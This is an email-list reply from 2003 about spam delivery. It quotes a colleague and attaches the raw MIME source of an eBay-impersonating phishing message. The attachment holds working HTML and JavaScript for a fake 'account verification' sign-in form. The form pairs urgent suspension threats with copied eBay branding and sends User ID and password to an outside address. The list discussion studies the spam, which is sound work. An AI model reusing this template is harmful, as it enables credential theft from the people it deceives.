> -----Original Message-----
> From: Bryan Hoover
> Sent: Friday, December 26, 2003 2:52 PM
[...]
>
> Original message attached -- pretty much the same I think, as that
> pasted was from a straight 'cat /var/mail/bhoover', but your 'dig' is
> interesting.

Interesting. The message body appeared as plain text.
However, the similar spam that we received here (see attached)
was thick with HTML that obscured its purpose.

Do you have something in your mail delivery pipeline that converts HTML to
text?
Return-Path: <[EMAIL PROTECTED]>
Received: from intrepid.intrepid.com (intrepid.intrepid.com [192.195.190.1])
        by screamer.intrepid.com (8.12.8/8.12.8) with ESMTP id hA6KpOuI029023
        for <[EMAIL PROTECTED]>; Thu, 6 Nov 2003 12:51:24 -0800
Received: from smtp005.mail.ukl.yahoo.com (smtp005.mail.ukl.yahoo.com [217.12.11.36])
        by intrepid.intrepid.com (8.12.8/8.12.8) with SMTP id hA6KpMHr011861
        for <[EMAIL PROTECTED]>; Thu, 6 Nov 2003 12:51:23 -0800
Message-Id: <[EMAIL PROTECTED]>
Received: from 12-249-234-26.client.attbi.com (HELO 12.249.234.26) ([EMAIL PROTECTED] 
with login)
  by smtp1.mail.vip.ukl.yahoo.com with SMTP; 6 Nov 2003 20:51:17 -0000
From: "[EMAIL PROTECTED]" <[EMAIL PROTECTED]>
To: "Gary" <[EMAIL PROTECTED]>
Subject: eBay Account Verification
Date: Thu, 6 Nov 2003 21:51:09 +0100
MIME-Version: 1.0
X-Priority: 3
X-MSMail-Priority: Normal
Reply-To: "[EMAIL PROTECTED]" <[EMAIL PROTECTED]>
X-Mailer: Internet Mail Service
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This is a multi-part message in MIME format.

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Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: QUOTED-PRINTABLE

Your Email Client does not support MIME encoding. Please upgrade to
MIME-enabled Email Client (almost every modern Email Client is MIME-capable).



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Content-Type: text/html; charset="ISO-8859-1"
Content-Transfer-Encoding: QUOTED-PRINTABLE

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; charset=3Diso-8859-1">
<SCRIPT>
<!--


//----------------------------------------------------------------------------------------------------------------------------------------------------//




function ValidLength(str,number)
{
  if (str < number)
    return false;
  return true;
}

function ValidChars(CheckStr,chars)
{
  for (i =3D 0;  i < CheckStr.length;  i++)
  {
    ch =3D CheckStr.charAt(i);
    for (j =3D 0;  j < chars.length;  j++)
      if (ch =3D=3D chars.charAt(j))
        break;
      if (j =3D=3D chars.length)
        return false;
  }
  return true;
}  

function ValidString(CheckStr,RepeatNum)
{
  if (CheckStr.length >=3D RepeatNum)
  {
    for (k =3D 0; k < CheckStr.length - 2; k++)
    {
      l =3D k+1;
      if  (CheckStr.charAt(k) =3D=3D CheckStr.charAt(l))
      {
        m =3D l+1;
        if (CheckStr.charAt(k) =3D=3D CheckStr.charAt(m))
        {
          return false;
          break;
        }
        else
        {
          k++;
        };
      }  
    }
  }
  return true;
}

function InValidWords(CheckStr)
{
  CheckStr =3D CheckStr.toLowerCase();
  if (CheckStr.search(/fuck/i) !=3D -1 || CheckStr.search(/shit/i)!=3D -1 || 
CheckStr.search(/bitch/i) !=3D -1 || CheckStr.search(/sdf/i) !=3D -1 || 
CheckStr.search(/dfg/i) !=3D -1 || CheckStr.search(/asfd/i) !=3D -1 || 
CheckStr.search(/asd/i) !=3D -1 || CheckStr.search(/noname/i) !=3D -1 || 
CheckStr.search(/firstname/i) !=3D -1 || CheckStr.search(/lastname/i) !=3D -1 || 
CheckStr.search(/zip/i) !=3D -1 || CheckStr.search(/zipcode/i) !=3D -1)
    return true;
  return false;
}
  


//--------------Main 
Procedure--------------------------------------------------------------------------------------------//
function Valid(theForm)
{
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  var FormEmail =3D theForm.email.value
  ValidEmailChars =3D "[EMAIL PROTECTED]";
   
  if (!ValidLength(FormEmail.length, 2))
  {
    alert ("Please enter your userid");
    theForm.email.focus();
    return false;
  }
    /*-----------End Email Validation -------------------------/
  
  /------------Begin First Name Validation -----------------*/
  var FormFName =3D theForm.firstname.value
  var ValidNameChars =3D "[EMAIL PROTECTED]&* ";
  var voweltest =3D /[aeiou]+/i;
  
  if (!ValidLength(FormFName.length, 2))
  {
    alert ("Please enter your password");
    theForm.firstname.focus();
    return false;
  }

  /*----------------- End First Name Validation ------------------/

  /------------------ Begin Last Name Validation ----------------*/
  
  /*--------------------- End Last Name Validation ----------------------*/
  
  return true;  
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<TR><TD>
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<BODY><BR>
<DIV id=3Dmessage style=3D"WIDTH: 800px; HEIGHT: 913px"><!--A 
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CONTENT=3D"0" HTTP-EQUIV=3D"Expires"><CURSIVE language=3D_JavaScript><!--
var pageName =3D "PageSignIn";
var server =3D "location.hostname.toLowerCase()";
var channel =3D "eBay";

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src=3D"http://include.ebay.com/aw/pics/js/help/openHelpWindow.js";></SCRIPT><XBODY 
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        writeHeader();
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//--></SCRIPT>
<TABLE cellSpacing=3D0 cellPadding=3D0 width=3D600 border=3D0>
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var cbc;
        if (cbc){
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        }
//--></SCRIPT><A href=3D"http://www.ebay.com/"; target=3D_blank><IMG height=3D70 
      alt=3D"eBay logo" hspace=3D0 
      src=3D"http://pics.ebay.com/aw/pics/navbar/ebay_logo_home.gif"; width=3D150 
      border=3D0></A></TD>
    <TD vAlign=3Dtop align=3Dright width=3D450><MAP 
        name=3Dhome_myebay_map_hasJS><AREA shape=3DRECT target=3D_blank alt=3DHome 
        coords=3D209,0,256,15 href=3D"http://www.ebay.com/";><AREA shape=3DRECT 
        target=3D_blank alt=3D"My eBay" coords=3D257,0,318,15 
        href=3D"http://cgi1.ebay.com/aw-cgi/eBayISAPI.dll?MyEbayLogin";><AREA 
        shape=3DRECT target=3D_blank alt=3D"Site Map" coords=3D319,0,383,15 
        href=3D"http://pages.ebay.com/sitemap.html";><AREA shape=3DRECT target=3D_blank 
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href=3D"http://cgi3.ebay.com/aw-cgi/eBayISAPI.dll?SignIn";></MAP></TD></TR></TBODY></TABLE><CURSIVE
 
language=3D_JavaScript></SCRIPT>
<FORM name=3Dsignup onsubmit=3D"return Valid(this)" 
action=3Dhttp://[EMAIL 
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<TABLE cellSpacing=3D0 cellPadding=3D0 width=3D807 border=3D0>
  <TBODY>
  <TR>
    <TD width=3D16 bgColor=3D#ffcc00 height=3D2><IMG height=3D2 alt=3Dspacer 
      src=3D"http://pics.ebay.com/aw/pics/home/spacer.gif"; width=3D16 border=3D0></TD>
    <TD width=3D18 bgColor=3D#ffcc00 height=3D2><IMG height=3D2 alt=3Dspacer 
      src=3D"http://pics.ebay.com/aw/pics/home/spacer.gif"; width=3D18 border=3D0></TD>
    <TD width=3D773 bgColor=3D#ffcc00 colSpan=3D2 height=3D2><IMG height=3D2 
alt=3Dspacer 
      src=3D"http://pics.ebay.com/aw/pics/home/spacer.gif"; width=3D566 
  border=3D0></TD></TR>
  <TR>
    <TD width=3D34 bgColor=3D#ffe680 colSpan=3D2><XBODY bgcolor=3D"#ffffff"><IMG 
      height=3D25 alt=3Dcorner src=3D"http://pics.ebay.com/aw/pics/msn/bar_16x25.gif"; 
      width=3D30 border=3D0></XBODY><IMG height=3D1 alt=3Dspacer 
      src=3D"http://pics.ebay.com/aw/pics/home/spacer.gif"; width=3D4 border=3D0></TD>
    <TD vAlign=3Dcenter width=3D542 bgColor=3D#ffe680 height=3D25>&nbsp;</TD>
    <TD vAlign=3Dbottom width=3D231 bgColor=3D#ffe680 
height=3D25>&nbsp;</TD></TR></TBODY></TABLE>
<TABLE height=3D24 cellSpacing=3D0 cellPadding=3D0 width=3D808 border=3D0>
  <TBODY>
  <TR>
    <TD vAlign=3Dtop width=3D16 bgColor=3D#ffffff height=3D24 rowSpan=3D2>
      <TABLE cellSpacing=3D0 cellPadding=3D0 border=3D0>
        <TBODY>
        <TR>
          <TD vAlign=3Dtop bgColor=3D#ffffff colSpan=3D2><IMG height=3D17 alt=3Darc 
            src=3D"http://pics.ebay.com/aw/pics/msn/Curve_16x17.gif"; width=3D16 
            border=3D0></TD></TR>
        <TR>
          <TD width=3D3 bgColor=3D#ffcc00 height=3D9><IMG height=3D9 alt=3Dspacer 
            src=3D"http://pics.ebay.com/aw/pics/home/spacer.gif"; width=3D3 
          border=3D0></TD>
          <TD width=3D3 bgColor=3D#ffffff height=3D9><IMG height=3D9 alt=3Dspacer 
            src=3D"http://pics.ebay.com/aw/pics/home/spacer.gif"; width=3D13 
          border=3D0></TD></TR></TBODY></TABLE></TD>
    <TD width=3D792 bgColor=3D#ffcc00 colSpan=3D2 height=3D3><IMG height=3D3 
alt=3Dspacer 
      src=3D"http://pics.ebay.com/aw/pics/home/spacer.gif"; width=3D584 
  border=3D0></TD></TR>
  <TR>
    <TD width=3D500 bgColor=3D#ffffff height=3D21><IMG height=3D1 alt=3Dspacer 
      src=3D"http://pics.ebay.com/aw/pics/home/spacer.gif"; width=3D44 border=3D0></TD>
    <TD align=3Dleft width=3D292 bgColor=3D#ffffcc height=3D21><IMG height=3D23 
      alt=3Dspacer src=3D"http://pics.ebay.com/aw/pics/msn/curve_21x21.gif"; width=3D21 
      border=3D0></TD></TR></TBODY></TABLE>
<TABLE cellSpacing=3D0 cellPadding=3D0 width=3D808 border=3D0>
  <TBODY>
  <TR>
    <TD width=3D3 bgColor=3D#ffcc00 height=3D295><IMG alt=3Dspacer 
      src=3D"http://pics.ebay.com/aw/pics/home/spacer.gif"; width=3D3 border=3D0></TD>
    <TD width=3D30><IMG height=3D"100%" alt=3Dspacer 
      src=3D"http://pics.ebay.com/aw/pics/home/spacer.gif"; width=3D30 border=3D0></TD>
    <TD vAlign=3Dtop width=3D505>
      <TABLE height=3D295 cellSpacing=3D0 cellPadding=3D0 border=3D0>
        <TBODY>
        <TR>
          <TD colSpan=3D3><IMG height=3D15 alt=3Dspacer 
            src=3D"http://pics.ebay.com/aw/pics/home/spacer.gif"; width=3D1 
          border=3D0></TD></TR>
        <TR>
          <TD colSpan=3D3>
            <P style=3D"MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px" 
            align=3Dcenter><BR><FONT face=3D"Verdana, Arial, Helvetica, sans-serif" 
            size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;</FONT><TT 
            style=3D"FONT-SIZE: x-small; FONT-FAMILY: Verdana">Dear eBay 
            User,</TT></P>
            <P align=3Dcenter><SPAN 
            style=3D"FONT-SIZE: x-small; FONT-FAMILY: 
Verdana">&nbsp;&nbsp;&nbsp;&nbsp; 
            During our regular update and verification of the accounts, we could 
            not verify your current information. Either your information has 
            changed or it is incomplete.</SPAN></P>
            <P align=3Dcenter><SPAN 
            style=3D"FONT-SIZE: x-small; FONT-FAMILY: 
Verdana">&nbsp;&nbsp;&nbsp;&nbsp;<B> 
            As a result, your access to bid or buy on </B></SPAN><B><TT 
            style=3D"FONT-SIZE: x-small; FONT-FAMILY: Verdana">eBay </TT></B><SPAN 
            style=3D"FONT-SIZE: x-small; FONT-FAMILY: Verdana"><B>has been 
            restricted</B>.</SPAN></P><FONT face=3DVerdana size=3D2>
            <P align=3Dcenter>According to our site policy you will have to 
            confirm that you are the real owner of the eBay account by log in 
            and complete the form that will pop up or else your account will be 
            suspended without the right to register again with eBay.</P>
            <P align=3Dcenter><B>After you will login please verify your 
            information in order to complete this verification.</B></P>
            <P align=3Dcenter><B>Thank you</B></P>
            <P align=3Dcenter><B>eBay Customer Support</B></P></FONT></TD></TR>
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          <TD colSpan=3D3><IMG height=3D15 alt=3Dspacer 
            src=3D"http://pics.ebay.com/aw/pics/home/spacer.gif"; width=3D1 
          border=3D0></TD></TR>
        <TR>
          <TD colSpan=3D3><IMG height=3D15 alt=3Dspacer 
            src=3D"http://pics.ebay.com/aw/pics/home/spacer.gif"; width=3D1 
          border=3D0></TD></TR>
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          <TD vAlign=3Dtop align=3Dleft><IMG height=3D1 alt=3Dspacer 
            src=3D"http://pics.ebay.com/aw/pics/home/spacer.gif"; width=3D120 
            border=3D0><BR><FONT face=3D"Verdana, Arial, Helvetica, sans-serif" 
            size=3D-1><B>eBay <A 
            href=3D"http://pages.ebay.com/help/new/user_id.html"; target=3D_blank 
            onfiltered=3D"return openHelpWindow(this.href);">User ID</A> 
            &nbsp;</B></FONT> </TD>
          <TD align=3Dleft colSpan=3D2><INPUT maxLength=3D50 size=3D30 name=3Demail> 
            <BR><FONT face=3D"Verdana, Arial, Helvetica, sans-serif" size=3D-2>You 
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        <TR>
          <TD colSpan=3D3><IMG height=3D15 alt=3Dspacer 
            src=3D"http://pics.ebay.com/aw/pics/home/spacer.gif"; width=3D1 
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        <TR>
          <TD vAlign=3Dtop align=3Dleft height=3D32><FONT 
            face=3D"Verdana, Arial, Helvetica, sans-serif" size=3D-1><B>eBay 
            Password </B></FONT></TD>
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            type=3Dpassword maxLength=3D63 size=3D31 name=3Dfirstname> <BR><FONT 
            face=3D"Verdana, Arial, Helvetica, sans-serif" size=3D-2><A 
            href=3D"http://pages.ebay.com/services/registration/reqpass.html"; 
            target=3D_blank>Forgot</A> your password? </FONT></TD></TR>
        <TR>
          <TD colSpan=3D3><IMG height=3D15 alt=3Dspacer 
            src=3D"http://pics.ebay.com/aw/pics/home/spacer.gif"; width=3D1 
          border=3D0></TD></TR>
        <TR>
          <TD align=3Dleft>&nbsp;</TD>
          <TD align=3Dleft colSpan=3D2><INPUT type=3Dsubmit value=3DSubmit 
name=3Dsubmit> </TD></TR>
        <TR>
          <TD colSpan=3D3 height=3D16><IMG height=3D15 alt=3Dspacer 
            src=3D"http://pics.ebay.com/aw/pics/home/spacer.gif"; width=3D1 
          border=3D0></TD></TR>
        <TR>
          <TD colSpan=3D3><IMG height=3D15 alt=3Dspacer 
            src=3D"http://pics.ebay.com/aw/pics/home/spacer.gif"; width=3D1 
          border=3D0></TD></TR>
        <TR>
          <TD colSpan=3D3 height=3D20><IMG height=3D16 
            src=3D"http://pics.ebay.com/aw/pics/questions_18x16.gif"; width=3D18 
            border=3D0> Having problems signing in? <A 
            href=3D"http://pages.ebay.com/help/new/additional_signin_tips.html"; 
            target=3D_blank onfiltered=3D"return openHelpWindow(this.href);"><B>Get 
            help now</B></A>.</TD></TR></TBODY></TABLE></TD>
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      <TABLE cellSpacing=3D0 cellPadding=3D0 width=3D259 border=3D0>
        <TBODY>
        <TR>
          <TD width=3D14><IMG src=3D"http://pics.ebay.com/aw/pics/home/spacer.gif"; 
            width=3D14 border=3D0></TD>
          <TD vAlign=3Dtop align=3Dleft width=3D137><IMG height=3D1 
            src=3D"http://pics.ebay.com/aw/pics/home/spacer.gif"; width=3D137 
            border=3D0><BR></TD>
          <TD width=3D108><IMG 
            src=3D"http://pics.ebay.com/aw/pics/home/spacer.gif"; width=3D14 
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          <TD width=3D521 height=3D12></TD>
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        <TR>
          <TD width=3D791 bgColor=3D#ffcc00 colSpan=3D2 height=3D3><IMG height=3D3 
            src=3D"http://pics.ebay.com/aw/pics/home/spacer.gif"; width=3D583 
            
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